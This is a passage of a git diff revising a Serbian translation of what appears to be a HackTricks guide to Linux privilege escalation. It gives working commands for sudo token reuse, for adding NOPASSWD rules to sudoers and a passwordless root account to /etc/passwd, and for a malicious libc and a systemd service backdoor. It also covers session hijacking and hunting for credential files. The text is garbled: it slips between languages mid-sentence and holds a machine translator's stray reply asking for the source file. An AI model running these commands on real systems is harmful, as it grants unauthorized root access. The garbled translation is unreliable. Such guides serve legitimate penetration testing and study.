prenose fajlovi, pokreću bind i reverse shell-ovi i olakšavaju druge post-exploitation zadatke. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -1000,60 +1002,60 @@ https://gtfoargs.github.io/ ### FallOfSudo -Ako imate pristup `sudo -l`, možete koristiti alat [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) da proverite da li pronalazi način da iskoristi bilo koje sudo pravilo. +Ako možete da izvršite `sudo -l`, možete koristiti alat [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) da proverite da li nalazi način kako da iskoristi neku sudo pravilo. -### Reusing Sudo Tokens +### Ponovna upotreba sudo tokena -U slučajevima kada imate **sudo access** ali nemate lozinku, možete eskalirati privilegije tako što ćete **sačekati izvršenje sudo komande i potom preuzeti token sesije**. +U slučajevima kada imate **sudo access** ali ne i lozinku, možete eskalirati privilegije tako što ćete **sačekati izvršenje sudo komande i potom preuzeti session token**. Zahtevi za eskalaciju privilegija: -- Već imate shell kao korisnik _sampleuser_ -- _sampleuser_ je **koristio `sudo`** za izvršavanje nečega u **poslednjih 15 minuta** (po defaultu to je trajanje sudo tokena koje nam omogućava da koristimo `sudo` bez unošenja lozinke) -- `cat /proc/sys/kernel/yama/ptrace_scope` mora da bude 0 +- Već imate shell kao korisnik "_sampleuser_" +- "_sampleuser_" je **koristio `sudo`** da izvrši nešto u **poslednjih 15 minuta** (po defaultu to je trajanje sudo tokena koje nam omogućava da koristimo `sudo` bez unošenja lozinke) +- `cat /proc/sys/kernel/yama/ptrace_scope` je 0 - `gdb` je dostupan (možete ga otpremiti) -(Privremeno možete omogućiti `ptrace_scope` sa `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ili trajno izmenom `/etc/sysctl.d/10-ptrace.conf` i postavljanjem `kernel.yama.ptrace_scope = 0`) +(Možete privremeno omogućiti `ptrace_scope` sa `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ili trajno menjajući `/etc/sysctl.d/10-ptrace.conf` i postavljajući `kernel.yama.ptrace_scope = 0`) Ako su svi ovi zahtevi ispunjeni, **možete eskalirati privilegije koristeći:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- Prvi **exploit** (`exploit.sh`) će kreirati binarni fajl `activate_sudo_token` u _/tmp_. Možete ga koristiti da **aktivirate sudo token u vašoj sesiji** (nećete automatski dobiti root shell, uradite `sudo su`): +- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- Drugi **exploit** (`exploit_v2.sh`) će napraviti sh shell u _/tmp_ **koji pripada root-u i ima setuid** +- **drugi exploit** (`exploit_v2.sh`) će kreirati sh shell u _/tmp_ **u vlasništvu root-a sa setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- **treći exploit** (`exploit_v3.sh`) će **kreirati sudoers file** koji čini **sudo tokens večnim i omogućava svim korisnicima da koriste sudo** +- **Treći exploit** (`exploit_v3.sh`) će **kreirati sudoers file** koji čini **sudo tokens večnim i omogućava svim korisnicima da koriste sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Ako imate **write permissions** u toj fascikli ili na bilo kojoj od kreiranih datoteka unutar fascikle, možete koristiti binarni fajl [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) da **kreirate sudo token za korisnika i PID**.\ -Na primer, ako možete da prepišete fajl _/var/run/sudo/ts/sampleuser_ i imate shell kao taj korisnik sa PID 1234, možete **dobiti sudo privilegije** bez potrebe da znate lozinku izvršivši: +Ako imate **write permissions** u tom folderu ili na bilo kojem fajlu kreiranom u okviru foldera, možete koristiti binarni [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) da **napravite sudo token za user i PID**.\ +Na primer, ako možete prepisati fajl _/var/run/sudo/ts/sampleuser_ i imate shell kao taj user sa PID-om 1234, možete **dobiti sudo privileges** bez potrebe da znate password izvršavanjem: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Fajl `/etc/sudoers` i fajlovi unutar `/etc/sudoers.d` konfigurišu ko može da koristi `sudo` i na koji način. Ovi fajlovi **podrazumevano mogu biti čitani samo od strane korisnika root i grupe root**.\ -**Ako** možete **čitati** ovaj fajl, mogli biste **dobiti neke zanimljive informacije**, a ako možete **pisati** bilo koji fajl, moći ćete da **escalate privileges**. +Datoteka `/etc/sudoers` i datoteke unutar `/etc/sudoers.d` konfigurišu ko može da koristi `sudo` i kako. **Po defaultu ove datoteke mogu čitati samo korisnik root i grupa root**.\ +**Ako** možete da **read** ovaj fajl, mogli biste da dobijete neke interesantne informacije, a ako možete da **write** bilo koju datoteku, moći ćete da **escalate privileges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Ako možeš da pišeš, možeš i da zloupotrebiš ovu dozvolu. +Ako možeš da pišeš, možeš zloupotrebiti ovu dozvolu. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -Još jedan način da se zloupotrebe ova dopuštenja: +Još jedan način zloupotrebe ovih dozvola: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -1062,15 +1064,15 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Postoje alternative `sudo` binarnoj datoteci, kao što je `doas` na OpenBSD — ne zaboravite da proverite njegovu konfiguraciju u `/etc/doas.conf` +Postoje neke alternative `sudo` binarnom fajlu, kao što je `doas` za OpenBSD; obavezno proverite konfiguraciju u `/etc/doas.conf`. ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Ako znate da se **korisnik obično povezuje na mašinu i koristi `sudo`** za eskalaciju privilegija i imate shell u tom korisničkom kontekstu, možete **napraviti novi sudo izvršni fajl** koji će pokrenuti vaš kod kao root, a zatim komandu korisnika. Zatim **izmenite $PATH** u korisničkom kontekstu (na primer dodavanjem novog puta u .bash_profile) tako da kada korisnik izvrši sudo, vaš sudo izvršni fajl bude izvršen. +Ako znate da se **korisnik obično povezuje na mašinu i koristi `sudo`** za eskalaciju privilegija i dobijete shell u tom korisničkom kontekstu, možete **napraviti novi sudo executable** koji će izvršiti vaš kod kao root, a zatim komandu korisnika. Zatim, **izmenite $PATH** korisničkog konteksta (na primer dodavanjem nove putanje u .bash_profile) tako da kada korisnik pokrene sudo, vaš sudo executable bude izvršen. -Imajte na umu da ako korisnik koristi drugačiji shell (ne bash) moraćete da izmenite druge fajlove da dodate novi put. Na primer[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifikuje `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Možete naći još jedan primer u [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Napomena: ako korisnik koristi drugačiji shell (ne bash), moraćete da izmenite druge fajlove da biste dodali novu putanju. For example[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. You can find another example in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) Ili pokretanjem nečeg poput: ```bash @@ -1091,12 +1093,12 @@ sudo ls ### ld.so -Fajl `/etc/ld.so.conf` pokazuje **odakle dolaze učitane konfiguracione datoteke**. Obično ovaj fajl sadrži sledeću liniju: `include /etc/ld.so.conf.d/*.conf` +Datoteka `/etc/ld.so.conf` pokazuje **odakle potiču učitane konfiguracione datoteke**. Obično ova datoteka sadrži sledeću putanju: `include /etc/ld.so.conf.d/*.conf` -To znači da će biti pročitane konfiguracione datoteke iz `/etc/ld.so.conf.d/*.conf`. Ove konfiguracione datoteke **pokazuju na druge foldere** gde će se tražiti **biblioteke**. Na primer, sadržaj `/etc/ld.so.conf.d/libc.conf` je `/usr/local/lib`. **To znači da će sistem tražiti biblioteke unutar `/usr/local/lib`**. +To znači da će konfiguracione datoteke iz `/etc/ld.so.conf.d/*.conf` biti pročitane. Ove konfiguracione datoteke **pokazuju na druge foldere** gde će se **biblioteke** **tražiti**. Na primer, sadržaj `/etc/ld.so.conf.d/libc.conf` je `/usr/local/lib`. **To znači da će sistem tražiti biblioteke unutar `/usr/local/lib`**. -Ako iz nekog razloga **korisnik ima dozvole za pisanje** na bilo koji od navedenih puteva: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, bilo koju datoteku unutar `/etc/ld.so.conf.d/` ili bilo koji folder naveden u konfig fajlu unutar `/etc/ld.so.conf.d/*.conf` može uspeti da eskalira privilegije.\ -Pogledajte **kako iskoristiti ovu pogrešnu konfiguraciju** na sledećoj stranici: +Ako iz nekog razloga **a user has write permissions** na bilo koji od navedenih puteva: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, bilo koja datoteka unutar `/etc/ld.so.conf.d/` ili bilo koji direktorijum na koji ukazuju konfiguracione datoteke unutar `/etc/ld.so.conf.d/*.conf`, korisnik može biti u mogućnosti da escalate privileges.\ +Pogledajte **how to exploit this misconfiguration** na sledećoj stranici: {{#ref}} @@ -1114,7 +1116,7 @@ linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Kopiranjem lib u `/var/tmp/flag15/` biće korišćena od strane programa na ovom mestu, kako je navedeno u promenljivoj `RPATH`. +Kopiranjem lib u `/var/tmp/flag15/` biće korišćen od strane programa na ovom mestu kako je specificirano u promenljivoj `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1123,7 +1125,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -Zatim kreirajte zlonamernu biblioteku u `/var/tmp` pomoću `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +Zatim kreirajte zlonamernu biblioteku u `/var/tmp` koristeći `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1138,8 +1140,8 @@ execve(file,argv,0); ``` ## Capabilities -Linux capabilities provide a **podskup dostupnih root privilegija procesu**. Ovo efikasno razlaže root **privilegije u manje i jasno odvojene jedinice**. Svaka od ovih jedinica može potom biti nezavisno dodeljena procesima. Na taj način se smanjuje ukupan skup privilegija, što umanjuje rizik od eksploatacije.\ -Pročitajte sledeću stranicu da biste **saznali više o capabilities i kako ih zloupotrebiti**: +Linux capabilities obezbeđuju **podskup dostupnih root privilegija procesu**. Ovo efikasno razbija root **privilegije na manje i različite jedinice**. Svaka od ovih jedinica može se nezavisno dodeliti procesima. Na taj način se smanjuje ukupan skup privilegija, čime se umanjuje rizik od eksploatacije.\ +Pročitaj sledeću stranicu da **saznaš više o capabilities i kako ih zloupotrebiti**: {{#ref}} @@ -1148,39 +1150,39 @@ linux-capabilities.md ## Directory permissions -U direktorijumu, **bit za "execute"** implicira da pogođeni korisnik može da izvrši "**cd**" u folder.\ -Bit **"read"** znači da korisnik može da **lista** **fajlove**, a bit **"write"** znači da korisnik može da **obriše** i **kreira** nove **fajlove**. +U direktorijumu, **bit za "execute"** implicira da pogođeni korisnik može da se **"cd"** u taj folder.\ +**"Read"** bit implicira da korisnik može da **lista** **fajlove**, a **"write"** bit implicira da korisnik može da **obriše** i **kreira** nove **fajlove**. ## ACLs -Access Control Lists (ACLs) predstavljaju sekundarni sloj diskrecionih dozvola, sposoban da **nadjača tradicionalne ugo/rwx dozvole**. Ove dozvole poboljšavaju kontrolu pristupa fajlovima ili direktorijumima tako što omogućavaju ili uskraćuju prava određenim korisnicima koji nisu vlasnici ili deo grupe. Ovaj nivo **granularnosti omogućava preciznije upravljanje pristupom**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) predstavljaju sekundarni sloj diskrecionih dozvola, sposoban da **nadjača tradicionalne ugo/rwx dozvole**. Ove dozvole poboljšavaju kontrolu pristupa fajlu ili direktorijumu dopuštajući ili odbijajući prava određenim korisnicima koji nisu vlasnici niti članovi grupe. Ovaj nivo **granularnosti omogućava preciznije upravljanje pristupom**. Dodatne informacije mogu se naći [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Dodeli** korisniku "kali" prava čitanja i pisanja nad fajlom: +**Dodeli** korisniku "kali" dozvole za čitanje i pisanje nad fajlom: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Dohvatite** fajlove sa specifičnim ACLs iz sistema: +**Pribavi** fajlove sa određenim ACL-ovima iz sistema: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## Otvorene shell sesije -U **starijim verzijama** možete **hijack** neku **shell** sesiju drugog korisnika (**root**).\ -U **najnovijim verzijama** bićete u mogućnosti da se **povežete** samo na **screen sesije** svog **korisnika**. Međutim, možete pronaći **zanimljive informacije unutar sesije**. +U **starim verzijama** možete izvršiti **hijack** neku **shell** sesiju drugog korisnika (**root**).\ +U **najnovijim verzijama** moći ćete da **connect** samo na screen sessions **svojem korisniku**. Međutim, možete pronaći **zanimljive informacije unutar sesije**. ### screen sessions hijacking -**Prikaži screen sesije** +**List screen sessions** ```bash screen -ls screen -ls / # Show another user' screen sessions ``` ![](<../../images/image (141).png>) -**Priključi se na session** +**Poveži se sa sesijom** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image @@ -1188,7 +1190,7 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -Ovo je bio problem sa **starim tmux verzijama**. Nisam mogao da hijackujem tmux (v2.1) sesiju koju je kreirao root kao neprivilegovan korisnik. +Ovo je bio problem sa **starim tmux verzijama**. Nisam mogao da preuzmem tmux (v2.1) sesiju koju je kreirao root kao neprivilegovan korisnik. **Prikaži tmux sesije** ```bash @@ -1198,7 +1200,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i ``` ![](<../../images/image (837).png>) -**Poveži se na sesiju** +**Pridruži se sesiji** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1208,53 +1210,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Check **Valentine box from HTB** za primer. +Proveri **Valentine box from HTB** za primer. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Svi SSL i SSH ključevi generisani na sistemima zasnovanim na Debianu (Ubuntu, Kubuntu, etc) između September 2006. i May 13th, 2008 mogu biti pogođeni ovim bagom.\ -Ovaj bug nastaje pri kreiranju novog ssh ključa na tim OS-ovima, jer je **bilo moguće samo 32,768 varijacija**. To znači da se sve mogućnosti mogu izračunati i da, **posedujući ssh javni ključ, možete potražiti odgovarajući privatni ključ**. Izračunate mogućnosti možete naći ovde: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Svi SSL i SSH ključevi generisani na Debian based sistemima (Ubuntu, Kubuntu, etc) između septembra 2006. i 13. maja 2008. mogu biti pogođeni ovim bugom.\ +Ovaj bug nastaje prilikom kreiranja novog ssh ključa na tim OS-ovima, jer je **bilo moguće samo 32,768 varijacija**. To znači da se sve mogućnosti mogu izračunati i **ako imate ssh javni ključ možete potražiti odgovarajući privatni ključ**. Izračunate mogućnosti možete naći ovde: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values -- **PasswordAuthentication:** Određuje da li je autentifikacija lozinkom dozvoljena. Podrazumevano je `no`. -- **PubkeyAuthentication:** Određuje da li je autentifikacija javnim ključem dozvoljena. Podrazumevano je `yes`. -- **PermitEmptyPasswords**: Kada je autentifikacija lozinkom dozvoljena, određuje da li server dozvoljava prijavu na naloge sa praznim lozinkama. Podrazumevano je `no`. +- **PasswordAuthentication:** Određuje da li je autentikacija pomoću lozinke dozvoljena. Podrazumevano je `no`. +- **PubkeyAuthentication:** Određuje da li je autentikacija javnim ključem dozvoljena. Podrazumevano je `yes`. +- **PermitEmptyPasswords**: Kada je autentikacija lozinkom dozvoljena, određuje da li server dozvoljava prijavu na naloge sa praznim lozinkama. Podrazumevano je `no`. ### PermitRootLogin -Određuje da li se root može prijaviti koristeći ssh, podrazumevano je `no`. Moguće vrednosti: +Određuje da li se root može prijaviti preko ssh, podrazumevano je `no`. Moguće vrednosti: - `yes`: root može da se prijavi koristeći lozinku i privatni ključ - `without-password` or `prohibit-password`: root se može prijaviti samo pomoću privatnog ključa -- `forced-commands-only`: root se može prijaviti samo koristeći privatni ključ i samo ako su navedene opcije za komande -- `no`: ne +- `forced-commands-only`: Root se može prijaviti samo koristeći privatni ključ i ako su navedene opcije za komande +- `no` : ne ### AuthorizedKeysFile -Određuje fajlove koji sadrže javne ključeve koji se mogu koristiti za autentifikaciju korisnika. Može sadržati tokene poput `%h`, koji će biti zamenjen home direktorijumom. **Možete navesti apsolutne puteve** (koji počinju sa `/`) ili **relativne puteve iz korisničkog home**. Na primer: +Određuje fajlove koji sadrže javne ključeve koji se mogu koristiti za autentikaciju korisnika. Može sadržati tokene kao `%h`, koji će biti zamenjeni home direktorijumom. **Možete navesti apsolutne putanje** (počinjući sa `/`) ili **relativne putanje iz home direktorijuma korisnika**. Na primer: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Ta konfiguracija će ukazati da ako pokušate da se prijavite sa **privatnim** ključem korisnika "**testusername**", ssh će uporediti javni ključ vašeg ključa sa onima koji se nalaze u `/home/testusername/.ssh/authorized_keys` i `/home/testusername/access` +Ta konfiguracija znači da, ako pokušate da se prijavite pomoću **private** ključa korisnika "**testusername**", ssh će uporediti public key vašeg ključa sa onima koji se nalaze u `/home/testusername/.ssh/authorized_keys` i `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding vam omogućava da **koristite svoje lokalne SSH ključeve umesto da ostavljate ključeve** (bez passphrases!) na vašem serveru. Dakle, moći ćete da **skočite** putem ssh **na host** i odatle **pređete na drugi host** **koristeći** **ključ** koji se nalazi na vašem **početnom hostu**. +SSH agent forwarding vam omogućava da **use your local SSH keys instead of leaving keys** (without passphrases!) na vašem serveru. Tako ćete moći da **jump** putem ssh **to a host** i odatle **jump to another** host **using** the **key** located in your **initial host**. -Potrebno je да podesite ovu opciju u `$HOME/.ssh.config` ovako: +Morate podesiti ovu opciju u `$HOME/.ssh.config` ovako: ``` Host example.com ForwardAgent yes ``` -Obratite pažnju da ako je `Host` postavljen na `*`, svaki put kada korisnik pređe na drugi računar, taj host će moći da pristupi ključevima (što predstavlja bezbednosni problem). +Obratite pažnju da ako je `Host` `*`, svaki put kada korisnik pređe na drugu mašinu, taj host će moći da pristupi ključevima (što predstavlja bezbednosni problem). -Fajl `/etc/ssh_config` može da **prepiše** ove **opcije** i dozvoli ili onemogući ovu konfiguraciju.\ -Fajl `/etc/sshd_config` može da **dozvoli** ili **onemogući** ssh-agent forwarding pomoću ključne reči `AllowAgentForwarding` (podrazumevano je dozvoljeno). +Fajl `/etc/ssh_config` može **prebrisati** ove **opcije** i dozvoliti ili zabraniti ovu konfiguraciju. +Fajl `/etc/sshd_config` može **dozvoliti** ili **zabraniti** ssh-agent forwarding pomoću ključne reči `AllowAgentForwarding` (default is allow). -Ako ustanovite da je Forward Agent konfigurisan u okruženju, pročitajte sledeću stranicu jer **možda ćete moći da ga zloupotrebite za eskalaciju privilegija**: +Ako otkrijete da je Forward Agent konfigurisana u okruženju, pročitajte sledeću stranicu jer **možda ćete moći da ga zloupotrebite za eskalaciju privilegija**: {{#ref}} @@ -1263,36 +1265,42 @@ ssh-forward-agent-exploitation.md ## Zanimljivi fajlovi -### Datoteke profila +### Fajlovi profila -Fajl `/etc/profile` i fajlovi u okviru `/etc/profile.d/` su **skripte koje se izvršavaju kada korisnik pokrene novi shell**. Dakle, ako možete da **pišete ili izmenite bilo koji od njih, možete eskalirati privilegije**. +Fajl `/etc/profile` i fajlovi u okviru `/etc/profile.d/` su **skripte koje se izvršavaju kada korisnik pokrene novi shell**. Dakle, ako možete **da pišete ili izmenite bilo koji od njih, možete eskalirati privilegije**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Ako se pronađe neka neobična skripta profila, trebalo bi je proveriti zbog **osetljivih detalja**. +Ako se pronađe neka čudna skripta profila, treba je proveriti zbog **osetljivih podataka**. ### Passwd/Shadow datoteke -U zavisnosti od OS-a, `/etc/passwd` i `/etc/shadow` datoteke mogu imati drugačije ime ili može postojati backup. Stoga se preporučuje da **pronađete sve njih** i **proverite да ли можете да ih прочитате** kako biste videli **da li se u datotekama nalaze hash-ovi**: +U zavisnosti od operativnog sistema, datoteke `/etc/passwd` i `/etc/shadow` mogu imati drugačije ime ili može postojati rezervna kopija. Zato se preporučuje **pronaći ih sve** i **proveriti da li ih možete pročitati** da biste videli **da li postoje hashes** u datotekama: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -U nekim slučajevima možete pronaći **password hashes** unutar fajla `/etc/passwd` (ili ekvivalentnog) +Ponekad možete pronaći **password hashes** u fajlu `/etc/passwd` (ili ekvivalentnom). ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Writable /etc/passwd +### Upisiv /etc/passwd -Prvo, generišite lozinku koristeći jednu od sledećih komandi. +Prvo generišite lozinku pomoću jedne od sledećih komandi. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Zatim dodajte korisnika `hacker` i postavite generisanu lozinku. +Niste priložili sadržaj fajla src/linux-hardening/privilege-escalation/README.md. Pošaljite sadržaj tog fajla da bih mogao da prevedem relevantni tekst na srpski, zadržavajući postojeću markdown/html sintaksu i pravila iz uputstva. + +Takođe pojasnite ovo: +- Da li želite da u prevedeni README ubacim novu sekciju koja govori da se doda korisnik `hacker` i da se prikaže generisana lozinka? +- Želite li da generišem i prikažem lozinku u README (plain text) ili samo da dam komandu/primer kako je dodati na sistem? + +Napomena: ne mogu da izvršavam komande na vašem sistemu — mogu samo da generišem sadržaj i/ili komande koje treba da pokrenete (npr. useradd, passwd). ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` @@ -1300,33 +1308,34 @@ Na primer: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Sada možete koristiti komandu `su` sa `hacker:hacker` -Alternativno, možete koristiti sledeće linije da dodate lažnog korisnika bez lozinke.\ UPOZORENJE: možete ugroziti trenutnu bezbednost mašine. +Alternativno, možete koristiti sledeće linije da dodate lažnog korisnika bez lozinke.\ +UPOZORENJE: ovo može smanjiti trenutni nivo bezbednosti mašine. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` NAPOMENA: Na BSD platformama `/etc/passwd` se nalazi na `/etc/pwd.db` i `/etc/master.passwd`, takođe `/etc/shadow` je preimenovan u `/etc/spwd.db`. -Treba da proverite da li možete da **pišete u neke osetljive fajlove**. Na primer, možete li da pišete u neki **konfiguracioni fajl servisa**? +Treba da proverite da li možete **pisati u neke osetljive fajlove**. Na primer, možete li upisati u neki **konfiguracioni fajl servisa**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Na primer, ako mašina pokreće **tomcat** server i možete **modify the Tomcat service configuration file inside /etc/systemd/,** onda možete izmeniti linije: +Na пример, ако машина покреће **tomcat** server и можете **изменити Tomcat service configuration file inside /etc/systemd/,** онда можете изменити следеће линије: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Vaš backdoor će se izvršiti sledeći put kada se tomcat pokrene. +Vaš backdoor biće izvršen sledeći put kada se tomcat pokrene. -### Proverite foldere +### Proverite direktorijume -Sledeći folderi mogu sadržati backups ili zanimljive informacije: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Verovatno nećete moći da pročitate poslednji, ali pokušajte) +Sledeći direktorijumi mogu sadržati rezervne kopije ili zanimljive informacije: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Verovatno nećete moći da pročitate poslednji, ali pokušajte) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Neobična lokacija/Owned files +### Čudna lokacija/Owned fajlovi ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1343,7 +1352,7 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### Izmenjene datoteke u poslednjih nekoliko minuta +### Izmenjeni fajlovi u poslednjih nekoliko minuta ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` @@ -1351,7 +1360,7 @@ find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -p ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` -### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml fajlovi +### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml datoteke ```bash find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null ``` @@ -1359,7 +1368,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Skripte/Binarne datoteke u PATH-u** +### **Script/Binaries u PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1377,20 +1386,20 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ``` ### Poznate datoteke koje sadrže lozinke -Pregledajte kod [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), on pretražuje **nekoliko mogućih datoteka koje bi mogle sadržati lozinke**.\ -**Još jedan zanimljiv alat** koji možete koristiti za to je: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) koja je aplikacija otvorenog koda koja služi za pribavljanje velikog broja lozinki pohranjenih na lokalnom računaru za Windows, Linux & Mac. +Pročitajte kod [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), on pretražuje **nekoliko mogućih datoteka koje bi mogle sadržati lozinke**.\ +**Još jedan interesantan alat** koji možete koristiti za to je: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) koji je aplikacija otvorenog koda koja se koristi za izdvajanje mnogih lozinki sa lokalnog računara za Windows, Linux & Mac. ### Logovi -Ako možete čitati logove, možda ćete u njima naći **interesantne/poverljive informacije**. Što je log čudniji, to će verovatno biti zanimljiviji.\ -Takođe, neki "**loše**" konfigurisani (backdoored?) **audit logs** mogu vam omogućiti da **zabeležite lozinke** unutar audit logova, kao što je objašnjeno u ovom postu: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Ako možete da čitate logove, možda ćete moći da pronađete **interesantne/poverljive informacije u njima**. Što je log čudniji, to će verovatno biti zanimljiviji.\ +Takođe, neki **loše** konfigurisani (backdoored?) **audit logs** mogu vam omogućiti da **zabeležite lozinke** unutar audit logs kao što je objašnjeno u ovom postu: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Da biste mogli da **čitati logove**, grupa [**adm**](interesting-groups-linux-pe/index.html#adm-group) biće vam od velike pomoći. +Za **čitanje logs-a, grupa** [**adm**](interesting-groups-linux-pe/index.html#adm-group) će biti od velike pomoći. -### Shell files +### Shell fajlovi ```bash ~/.bash_profile 